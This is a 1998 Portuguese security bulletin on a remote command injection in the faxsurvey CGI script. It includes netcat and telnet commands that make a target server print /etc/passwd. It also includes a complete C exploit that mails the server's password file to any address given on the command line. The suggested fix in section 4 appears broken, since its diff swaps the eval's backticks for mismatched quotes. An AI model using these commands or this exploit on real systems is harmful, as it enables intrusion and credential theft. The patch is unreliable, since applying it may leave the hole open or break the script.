sekure/uground - Security Bulletim ........................................................ www.sekure.org -> sekure.01-98.faxsurvey <- 1. Descricao '`'`'`'`'`'` Uma vulnerabilidade foi encontrada no CGI faxsurvey (S.u.S.e team). O problema eh na funcao eval, que assume genericamente qualquer query: eval `$ECHO "$QUERY_STRING" | $UNQUOTE -qn | $SED 's/PATH=[^;]*;//g'` 2. Comprometimento '`'`'`'`'`'`'`'`'` Qualquer usuario pode executar remotamente comandos na maquina que estiver rodando o servidor de paginas com os seus privilegios (geralmente nobody). 3. Testando a vulnerabilidade '`'`'`'`'`'`'`'`'`'`'`'`'`'`' No prompt do unix (utilizando netcat), digite: sekure:~$ export QUERY='get /cgi-bin/faxquery.cgi?/bin/cat%20/etc/passwd' sekure:~$ echo $QUERY | nc victim.com 80 Neste momento, se o servidor for vulneravel, voce devera estar recebendo uma copia do passwd file. Ou, utiliando telnet, digite: sekure:~$ telnet victim.com 80 Trying 66.66.66.66 Connected to victim.com. Escape character is '^]'. get /cgi-bin/faxquery?/bin/cat%20/etc/passwd Neste momento, se o servidor for vulneravel, voce devera estar recebendo uma copia do passwd file. 4. Medidas Preventivas '`'`'`'`'`'`'`'`'`'`'` Patch provisorio para a funcao seria: eval `ECHO "$QUERY_STRING" | $UNQUOTE -qn | $SED 's/PATH=[^;]*;//g'` Retirar a marca "$" do ECHO, inibindo qualquer tipo de mascara para o echo. Patch para o faxsurvey: -- begin patch.orig --- --- faxsurvey.orig Mon Aug 3 13:15:47 1998 +++ faxsurvey Mon Aug 3 13:21:21 1998 @@ -44,7 +44,7 @@ # # Be careful here. # -eval `$ECHO "$QUERY_STRING" | $UNQUOTE -qn | $SED 's/PATH=[^;]*;//g'` +eval "ECHO "$QUERY_STRING" | $UNQUOTE -qn | $SED 's/PATH=[^;]*;//g'" echoMail() { --- end patch.orig --- 5. Script para teste '`'`'`'`'`'`'`'`'`'` Este script foi designado para testar a vulnerabilidade do seu sistema. Se o sistema for vulneravel, ele ira mandar o arquivo de password para o root@localhost. --- begin faxsurvey.c --- /* sekure/uground industries (tm) - www.sekure.org - 1998 * by c0nd0r - condorito's * faxsurvey cgi test * for educational's purpose: please, test it only in your system. */ #include #include #include #include #include #include #include main(int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; int port = 80, i, s, b; char query_str[255], com[255], *comm, test[2], buff[8097], hostname[64]; printf("sekure - faxsurvey test exploit\n"); printf("c0nd0r - condor@sekure.org\n"); if (argc < 2) { printf("\nusage: %s [email]\n", argv[0]); exit(0); } if (argc < 3) { printf("\nusing default command : cat /etc/passwd | mail root@localhost\n"); strcpy(com,"/bin/cat /etc/passwd | mail root@localhost"); } else { strcpy(com,"/bin/cat /etc/passwd | mail "); strcat(com,argv[2]); } strcpy(hostname, argv[1]); if ((comm = (char*) malloc(strlen(com)*2)) < 0) { perror("malloc"); } for (i = 0; i <= strlen(com); i++) { if (com[i] == 32) strcat(comm,"%20"); else { sprintf(test, "%c", com[i]); strcat(comm, test); } } he = gethostbyname(hostname); if (he) { sin.sin_family = he->h_addrtype; memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], he->h_length); } else { perror("gethostbyname"); exit(1); } sin.sin_family = AF_INET; sin.sin_port = htons(port); if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(-1); } if ( connect(s, (struct sockaddr *) &sin, sizeof(sin)) < 0) { perror("connect"); exit(-1); } // nao estourem o buffer :D sprintf(query_str, "GET /cgi-bin/faxsurvey?%s", comm); if (!argv[2]) printf("sending the exploit query... \n"); else printf("sending the exploit query... wait for passwd at %s\n", argv[2]); write(s, query_str, strlen(query_str)); close(s); } --- end faxsurvey.c --- 6. Contatos '`'`'`'`'`' Sekure - Security Bulletim uma publicacao da sekure/uground industries (tm) http://www.sekure.org - contatos: security@sekure.org Procure pelos advisories da sekure/uground industries em http://www.sekure.org/advisories.html Assine a lista Best Of Security Brasil - http://www.sekure.org/bos Mande mensagem pra bos-br-request@sekure.org Ponha "subscribe bos-br" no corpo da mensagem. ---- texto: c0nd0r - condor@sekure.org sekure/uground industries (tm) - 1998